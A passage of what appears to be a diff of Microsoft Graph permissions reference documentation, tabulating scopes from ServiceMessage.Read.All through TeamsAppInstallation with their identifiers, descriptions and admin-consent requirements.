+| Identifier |
+1b620472-6534-4fe6-9df2-4680e8aa28ec |
+eda39fa6-f8cf-4c3c-a909-432c683e4c9b |
+
+
+| DisplayText |
+Read service messages |
+Read service announcement messages |
+
+
+| Description |
+Allows the app to read your tenant's service announcement messages, without a signed-in user. Messages may include information about new or changed features. |
+Allows the app to read your tenant's service announcement messages on behalf of the signed-in user. Messages may include information about new or changed features. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The ServiceMessage.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+ServiceMessageViewpoint.Write
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+636e1b0b-1cc2-4b1c-9aa9-4eeed9b9761b |
+
+
+| DisplayText |
+- |
+Update user status on service announcement messages |
+
+
+| Description |
+- |
+Allows the app to update service announcement messages' user status on behalf of the signed-in user. The message status can be marked as read, archive, or favorite. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
The ServiceMessageViewpoint.Write delegated permission is available for consent in personal Microsoft accounts.
+
+ServicePrincipalEndpoint.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5256681e-b7f6-40c0-8447-2d9db68797a0 |
+9f9ce928-e038-4e3b-8faf-7b59049a8ddc |
+
+
+| DisplayText |
+Read service principal endpoints |
+Read service principal endpoints |
+
+
+| Description |
+Allows the app to read service principal endpoints |
+Allows the app to read service principal endpoints |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ServicePrincipalEndpoint.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+89c8469c-83ad-45f7-8ff2-6e3d4285709e |
+7297d82c-9546-4aed-91df-3d4f0a9b3ff0 |
+
+
+| DisplayText |
+Read and update service principal endpoints |
+Read and update service principal endpoints |
+
+
+| Description |
+Allows the app to update service principal endpoints |
+Allows the app to update service principal endpoints |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SharePointTenantSettings.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+83d4163d-a2d8-4d3b-9695-4ae3ca98f888 |
+2ef70e10-5bfd-4ede-a5f6-67720500b258 |
+
+
+| DisplayText |
+Read SharePoint and OneDrive tenant settings |
+Read SharePoint and OneDrive tenant settings |
+
+
+| Description |
+Allows the application to read the tenant-level settings of SharePoint and OneDrive, without a signed-in user. |
+Allows the application to read the tenant-level settings in SharePoint and OneDrive on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SharePointTenantSettings.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+19b94e34-907c-4f43-bde9-38b1909ed408 |
+aa07f155-3612-49b8-a147-6c590df35536 |
+
+
+| DisplayText |
+Read and change SharePoint and OneDrive tenant settings |
+Read and change SharePoint and OneDrive tenant settings |
+
+
+| Description |
+Allows the application to read and change the tenant-level settings of SharePoint and OneDrive, without a signed-in user. |
+Allows the application to read and change the tenant-level settings of SharePoint and OneDrive on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+ShortNotes.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+50f66e47-eb56-45b7-aaa2-75057d9afe08 |
+
+
+| DisplayText |
+- |
+Read short notes of the signed-in user |
+
+
+| Description |
+- |
+Allows the app to read all the short notes a sign-in user has access to. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The ShortNotes.Read delegated permission is available for consent in personal Microsoft accounts.
+
+ShortNotes.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0c7d31ec-31ca-4f58-b6ec-9950b6b0de69 |
+- |
+
+
+| DisplayText |
+Read all users' short notes |
+- |
+
+
+| Description |
+Allows the app to read all the short notes without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+ShortNotes.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+328438b7-4c01-4c07-a840-e625a749bb89 |
+
+
+| DisplayText |
+- |
+Read, create, edit, and delete short notes of the signed-in user |
+
+
+| Description |
+- |
+Allows the app to read, create, edit, and delete short notes of a signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The ShortNotes.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+ShortNotes.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+842c284c-763d-4a97-838d-79787d129bab |
+- |
+
+
+| DisplayText |
+Read, create, edit, and delete all users' short notes |
+- |
+
+
+| Description |
+Allows the app to read, create, edit, and delete all the short notes without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Sites.FullControl.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a82116e5-55eb-4c41-a434-62fe8a61c773 |
+5a54b8b3-347c-476d-8f8e-42d5c7424d29 |
+
+
+| DisplayText |
+Have full control of all site collections |
+Have full control of all site collections |
+
+
+| Description |
+Allows the app to have full control of all site collections without a signed in user. |
+Allows the application to have full control of all site collections on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
The Sites.FullControl.All delegated permission is available for consent in personal Microsoft accounts.
+
+Sites.Manage.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0c0bf378-bf22-4481-8f81-9e89a9b4960a |
+65e50fdc-43b7-4915-933e-e8138f11f40a |
+
+
+| DisplayText |
+Create, edit, and delete items and lists in all site collections |
+Create, edit, and delete items and lists in all site collections |
+
+
+| Description |
+Allows the app to create or delete document libraries and lists in all site collections without a signed in user. |
+Allows the application to create or delete document libraries and lists in all site collections on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Sites.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+332a536c-c7ef-4017-ab91-336970924f0d |
+205e70e5-aba6-4c52-a976-6d2d46c48043 |
+
+
+| DisplayText |
+Read items in all site collections |
+Read items in all site collections |
+
+
+| Description |
+Allows the app to read documents and list items in all site collections without a signed in user. |
+Allows the application to read documents and list items in all site collections on behalf of the signed-in user |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Sites.Read.All delegated permission is available for consent in personal Microsoft accounts.
+
+Sites.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9492366f-7969-46a4-8d15-ed1a20078fff |
+89fe6a52-be36-487e-b7d8-d061c450a026 |
+
+
+| DisplayText |
+Read and write items in all site collections |
+Edit or delete items in all site collections |
+
+
+| Description |
+Allows the app to create, read, update, and delete documents and list items in all site collections without a signed in user. |
+Allows the application to edit or delete documents and list items in all site collections on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
The Sites.ReadWrite.All delegated permission is available for consent in personal Microsoft accounts.
+
+Sites.Selected
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+883ea226-0bf2-4a8f-9f9d-92c9162a727d |
+f89c84ef-20d0-4b54-87e9-02e856d66d53 |
+
+
+| DisplayText |
+Access selected site collections |
+Access selected Sites, on behalf of the signed-in user |
+
+
+| Description |
+Allow the application to access a subset of site collections without a signed in user.  The specific site collections and the permissions granted will be configured in SharePoint Online. |
+Allow the application to access a subset of site collections on behalf of the signed-in user. The specific site collections and the permissions granted will be configured in SharePoint Online. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+SMTP.Send
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+258f6531-6087-4cc4-bb90-092c5fb3ed3f |
+
+
+| DisplayText |
+- |
+Send emails from mailboxes using SMTP AUTH. |
+
+
+| Description |
+- |
+Allows the app to be able to send emails from the user's mailbox using the SMTP AUTH client submission protocol. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The SMTP.Send delegated permission is available for consent in personal Microsoft accounts.
+
+SpiffeTrustDomain.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+dcdfc277-41fd-4d68-ad0c-c3057235bd8e |
+9b4aa4b1-aaf3-41b7-b743-698b27e77ff6 |
+
+
+| DisplayText |
+Read SPIFFE trust domains and child resources |
+Read SPIFFE trust domains and child resources |
+
+
+| Description |
+Allows the app to read your organization's SPIFFE trust domains and child resources without a signed in user. |
+Allows the app to read your organization's SPIFFE trust domains and child resources on behalf of the user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SpiffeTrustDomain.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+17b78cfd-eeff-447d-8bab-2795af00055a |
+8ba47079-8c47-4bfe-b2ce-13f28ef37247 |
+
+
+| DisplayText |
+Read and write SPIFFE trust domains and child resources |
+Read and write SPIFFE trust domains and child resources |
+
+
+| Description |
+Allows the app to read and write your organization's SPIFFE trust domains and child resources without a signed in user. |
+Allows the app to read and write your organization's SPIFFE trust domains and child resources on behalf of the user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SubjectRightsRequest.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ee1460f0-368b-4153-870a-4e1ca7e72c42 |
+9c3af74c-fd0f-4db4-b17a-71939e2a9d77 |
+
+
+| DisplayText |
+Read all subject rights requests |
+Read subject rights requests |
+
+
+| Description |
+Allows the app to read subject rights requests without a signed-in user. |
+Allows the app to read subject rights requests on behalf of the signed-in user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SubjectRightsRequest.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+8387eaa4-1a3c-41f5-b261-f888138e6041 |
+2b8fcc74-bce1-4ae3-a0e8-60c53739299d |
+
+
+| DisplayText |
+Read and write all subject rights requests |
+Read and write subject rights requests |
+
+
+| Description |
+Allows the app to read and write subject rights requests without a signed in user. |
+Allows the app to read and write subject rights requests on behalf of the signed-in user |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Subscription.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5f88184c-80bb-4d52-9ff2-757288b2e9b7 |
+
+
+| DisplayText |
+- |
+Read all webhook subscriptions |
+
+
+| Description |
+- |
+Allows the app to read all webhook subscriptions on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+Synchronization.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+5ba43d2f-fa88-4db2-bd1c-a67c5f0fb1ce |
+7aa02aeb-824f-4fbe-a3f7-611f751f5b55 |
+
+
+| DisplayText |
+Read all Azure AD synchronization data. |
+Read all Azure AD synchronization data |
+
+
+| Description |
+Allows the application to read Azure AD synchronization information, without a signed-in user. |
+Allows the app to read Azure AD synchronization information, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Synchronization.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9b50c33d-700f-43b1-b2eb-87e89b703581 |
+7bb27fa3-ea8f-4d67-a916-87715b6188bd |
+
+
+| DisplayText |
+Read and write all Azure AD synchronization data. |
+Read and write all Azure AD synchronization data |
+
+
+| Description |
+Allows the application to configure the Azure AD synchronization service, without a signed-in user. |
+Allows the app to configure the Azure AD synchronization service, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+SynchronizationData-User.Upload
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+db31e92a-b9ea-4d87-bf6a-75a37a9ca35a |
+1a2e7420-4e92-4d2b-94cb-fb2952e9ddf7 |
+
+
+| DisplayText |
+Upload user data to the identity synchronization service |
+Upload user data to the identity synchronization service |
+
+
+| Description |
+Allows the application to upload bulk user data to the identity synchronization service, without a signed-in user. |
+Allows the app to upload bulk user data to the identity synchronization service, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+Tasks.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+f45671fb-e0fe-4b4b-be20-3d3ce43f1bcb |
+
+
+| DisplayText |
+- |
+Read user's tasks and task lists |
+
+
+| Description |
+- |
+Allows the app to read the signed-in user's tasks and task lists, including any shared with the user. Doesn't include permission to create, delete, or update anything. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Tasks.Read delegated permission is available for consent in personal Microsoft accounts.
+
+Tasks.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+f10e1f91-74ed-437f-a6fd-d6ae88e26c1f |
+- |
+
+
+| DisplayText |
+Read all users' tasks and tasklist |
+- |
+
+
+| Description |
+Allows the app to read all users' tasks and task lists in your organization, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Tasks.Read.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+88d21fd4-8e5a-4c32-b5e2-4a1c95f34f72 |
+
+
+| DisplayText |
+- |
+Read user and shared tasks |
+
+
+| Description |
+- |
+Allows the app to read tasks a user has permissions to access, including their own and shared tasks. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Tasks.ReadWrite
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2219042f-cab5-40cc-b0d2-16b1540b4c5f |
+
+
+| DisplayText |
+- |
+Create, read, update, and delete user's tasks and task lists |
+
+
+| Description |
+- |
+Allows the app to create, read, update, and delete the signed-in user's tasks and task lists, including any shared with the user. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
The Tasks.ReadWrite delegated permission is available for consent in personal Microsoft accounts.
+
+Tasks.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+44e666d1-d276-445b-a5fc-8815eeb81d55 |
+- |
+
+
+| DisplayText |
+Read and write all users' tasks and tasklists |
+- |
+
+
+| Description |
+Allows the app to create, read, update and delete all users' tasks and task lists in your organization, without a signed-in user |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+Tasks.ReadWrite.Shared
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+c5ddf11b-c114-4886-8558-8a4e557cd52b |
+
+
+| DisplayText |
+- |
+Read and write user and shared tasks |
+
+
+| Description |
+- |
+Allows the app to create, read, update, and delete tasks a user has permissions to, including their own and shared tasks. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+Team.Create
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+23fc2474-f741-46ce-8465-674744c5c361 |
+7825d5d6-6049-4ce7-bdf6-3b8d53f4bcd0 |
+
+
+| DisplayText |
+Create teams |
+Create teams |
+
+
+| Description |
+Allows the app to create teams without a signed-in user. |
+Allows the app to create teams on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+Team.ReadBasic.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+2280dda6-0bfd-44ee-a2f4-cb867cfc4c1e |
+485be79e-c497-4b35-9400-0e3fa7f2a5d4 |
+
+
+| DisplayText |
+Get a list of all teams |
+Read the names and descriptions of teams |
+
+
+| Description |
+Get a list of all teams, without a signed-in user. |
+Read the names and descriptions of teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+TeamMember.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+660b7406-55f1-41ca-a0ed-0b035e182f3e |
+2497278c-d82d-46a2-b1ce-39d4cdde5570 |
+
+
+| DisplayText |
+Read the members of all teams |
+Read the members of teams |
+
+
+| Description |
+Read the members of all teams, without a signed-in user. |
+Read the members of teams, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamMember.ReadWrite.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0121dc95-1b9f-4aed-8bac-58c5ac466691 |
+4a06efd2-f825-4e34-813e-82a57b03d1ee |
+
+
+| DisplayText |
+Add and remove members from all teams |
+Add and remove members from teams |
+
+
+| Description |
+Add and remove members from all teams, without a signed-in user. Also allows changing a team member's role, for example from owner to non-owner. |
+Add and remove members from teams, on behalf of the signed-in user. Also allows changing a member's role, for example from owner to non-owner. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamMember.ReadWriteNonOwnerRole.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+4437522e-9a86-4a41-a7da-e380edd4a97d |
+2104a4db-3a2f-4ea0-9dba-143d457dc666 |
+
+
+| DisplayText |
+Add and remove members with non-owner role for all teams |
+Add and remove members with non-owner role for all teams |
+
+
+| Description |
+Add and remove members from all teams, without a signed-in user. Does not allow adding or removing a member with the owner role. Additionally, does not allow the app to elevate an existing member to the owner role. |
+Add and remove members from all teams, on behalf of the signed-in user. Does not allow adding or removing a member with the owner role. Additionally, does not allow the app to elevate an existing member to the owner role. |
+
+
+| AdminConsentRequired |
+Yes |
+Yes |
+
+
+
+
+TeamsActivity.Read
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+0e755559-83fb-4b44-91d0-4cc721b9323e |
+
+
+| DisplayText |
+- |
+Read user's teamwork activity feed |
+
+
+| Description |
+- |
+Allows the app to read the signed-in user's teamwork activity feed. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamsActivity.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+70dec828-f620-4914-aa83-a29117306807 |
+- |
+
+
+| DisplayText |
+Read all users' teamwork activity feed |
+- |
+
+
+| Description |
+Allows the app to read all users' teamwork activity feed, without a signed-in user. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsActivity.Send
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a267235f-af13-44dc-8385-c1dc93023186 |
+7ab1d787-bae7-4d5d-8db6-37ea32df9186 |
+
+
+| DisplayText |
+Send a teamwork activity to any user |
+Send a teamwork activity as the user |
+
+
+| Description |
+Allows the app to create new notifications in users' teamwork activity feeds without a signed in user. These notifications may not be discoverable or be held or governed by compliance policies. |
+Allows the app to create new notifications in users' teamwork activity feeds on behalf of the signed in user. These notifications may not be discoverable or be held or governed by compliance policies. |
+
+
+| AdminConsentRequired |
+Yes |
+No |
+
+
+
+
+TeamsAppInstallation.Read.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+0fdf35a5-82f8-41ff-9ded-0b761cc73512 |
+- |
+
+
+| DisplayText |
+Read installed Teams apps for all installation scopes |
+- |
+
+
+| Description |
+Allows the app to read the Teams apps that are installed in any scope, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+bf3fbf03-f35f-4e93-963e-47e4d874c37a |
+
+
+| DisplayText |
+- |
+Read installed Teams apps in chats |
+
+
+| Description |
+- |
+Allows the app to read the Teams apps that are installed in chats the signed-in user can access. Does not give the ability to read application-specific settings. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamsAppInstallation.ReadForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+cc7e7635-2586-41d6-adaa-a8d3bcad5ee5 |
+- |
+
+
+| DisplayText |
+Read installed Teams apps for all chats |
+- |
+
+
+| Description |
+Allows the app to read the Teams apps that are installed in any chat, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+5248dcb1-f83b-4ec3-9f4d-a4428a961a72 |
+
+
+| DisplayText |
+- |
+Read installed Teams apps in teams |
+
+
+| Description |
+- |
+Allows the app to read the Teams apps that are installed in teams the signed-in user can access. Does not give the ability to read application-specific settings. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1f615aea-6bf9-4b05-84bd-46388e138537 |
+- |
+
+
+| DisplayText |
+Read installed Teams apps for all teams |
+- |
+
+
+| Description |
+Allows the app to read the Teams apps that are installed in any team, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+c395395c-ff9a-4dba-bc1f-8372ba9dca84 |
+
+
+| DisplayText |
+- |
+Read user's installed Teams apps |
+
+
+| Description |
+- |
+Allows the app to read the Teams apps that are installed for the signed-in user. Does not give the ability to read application-specific settings. |
+
+
+| AdminConsentRequired |
+- |
+No |
+
+
+
+
+TeamsAppInstallation.ReadForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9ce09611-f4f7-4abd-a629-a05450422a97 |
+- |
+
+
+| DisplayText |
+Read installed Teams apps for all users |
+- |
+
+
+| Description |
+Allows the app to read the Teams apps that are installed for any user, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+e1408a66-8f82-451b-a2f3-3c3e38f7413f |
+
+
+| DisplayText |
+- |
+Manage installed Teams apps in chats |
+
+
+| Description |
+- |
+Allows the app to read, install, upgrade, and uninstall Teams apps in chats the signed-in user can access. Gives the ability to manage permission grants for accessing those specific chats' data. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+6e74eff9-4a21-45d6-bc03-3a20f61f8281 |
+- |
+
+
+| DisplayText |
+Manage installation and permission grants of Teams apps for all chats |
+- |
+
+
+| Description |
+Allows the app to read, install, upgrade, and uninstall Teams apps in any chat, without a signed-in user. Gives the ability to manage permission grants for accessing those specific chats' data. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+946349d5-2a9d-4535-abc0-7beeacaedd1d |
+
+
+| DisplayText |
+- |
+Manage installed Teams apps in teams |
+
+
+| Description |
+- |
+Allows the app to read, install, upgrade, and uninstall Teams apps in teams the signed-in user can access. Gives the ability to manage permission grants for accessing those specific teams' data. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+b0c13be0-8e20-4bc5-8c55-963c23a39ce9 |
+- |
+
+
+| DisplayText |
+Manage installation and permission grants of Teams apps for all teams |
+- |
+
+
+| Description |
+Allows the app to read, install, upgrade, and uninstall Teams apps in any team, without a signed-in user. Gives the ability to manage permission grants for accessing those specific teams' data. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2da62c49-dfbd-40df-ba16-fef3529d391c |
+
+
+| DisplayText |
+- |
+Manage installation and permission grants of Teams apps in users' personal scope |
+
+
+| Description |
+- |
+Allows the app to read, install, upgrade, and uninstall Teams apps in user accounts, on behalf of the signed-in user. Gives the ability to manage permission grants for accessing those specific users' data. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+32ca478f-f89e-41d0-aaf8-101deb7da510 |
+- |
+
+
+| DisplayText |
+Manage installation and permission grants of Teams apps in a user account |
+- |
+
+
+| Description |
+Allows the app to read, install, upgrade, and uninstall Teams apps in any user account, without a signed-in user. Gives the ability to manage permission grants for accessing those specific users' data. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentSelfForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+a0e0e18b-8fb2-458f-8130-da2d7cab9c75 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage itself and its permission grants in chats |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall itself in chats the signed-in user can access, and manage its permission grants for accessing those specific chats' data. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentSelfForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+ba1ba90b-2d8f-487e-9f16-80728d85bb5c |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage itself and its permission grants for all chats |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall itself for any chat, without a signed-in user, and manage its permission grants for accessing those specific chats' data. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentSelfForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+4a6bbf29-a0e1-4a4d-a7d1-cef17f772975 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage itself and its permission grants in teams |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall itself in teams the signed-in user can access, and manage its permission grants for accessing those specific teams' data. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentSelfForTeam.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+1e4be56c-312e-42b8-a2c9-009600d732c0 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage itself and its permission grants for all teams |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall itself for any team, without a signed-in user, and manage its permission grants for accessing those specific teams' data. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentSelfForUser
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+7a349935-c54d-44ab-ab66-1b460d315be7 |
+
+
+| DisplayText |
+- |
+Allow the Teams app to manage itself and its permission grants in user accounts |
+
+
+| Description |
+- |
+Allows a Teams app to read, install, upgrade, and uninstall itself in user accounts, and manage its permission grants for accessing those specific users' data, on behalf of the signed-in user. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteAndConsentSelfForUser.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+a87076cf-6abd-4e56-8559-4dbdf41bef96 |
+- |
+
+
+| DisplayText |
+Allow the Teams app to manage itself and its permission grants in all user accounts |
+- |
+
+
+| Description |
+Allows a Teams app to read, install, upgrade, and uninstall itself for any user account, without a signed-in user, and manage its permission grants for accessing those specific users' data. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteForChat
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+aa85bf13-d771-4d5d-a9e6-bca04ce44edf |
+
+
+| DisplayText |
+- |
+Manage installed Teams apps in chats |
+
+
+| Description |
+- |
+Allows the app to read, install, upgrade, and uninstall Teams apps in chats the signed-in user can access. Does not give the ability to read application-specific settings. |
+
+
+| AdminConsentRequired |
+- |
+Yes |
+
+
+
+
+TeamsAppInstallation.ReadWriteForChat.All
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+9e19bae1-2623-4c4f-ab6e-2664615ff9a0 |
+- |
+
+
+| DisplayText |
+Manage Teams apps for all chats |
+- |
+
+
+| Description |
+Allows the app to read, install, upgrade, and uninstall Teams apps in any chat, without a signed-in user. Does not give the ability to read application-specific settings. |
+- |
+
+
+| AdminConsentRequired |
+Yes |
+- |
+
+
+
+
+TeamsAppInstallation.ReadWriteForTeam
+
+
+
+| Category |
+Application |
+Delegated |
+
+
+
+
+| Identifier |
+- |
+2e25a044-2580-450d-8859-42eeb6e996c0 |
+
+
+| DisplayText |
+- |
+Manage installed Teams apps in teams |
+
+
+| Description |
+- |
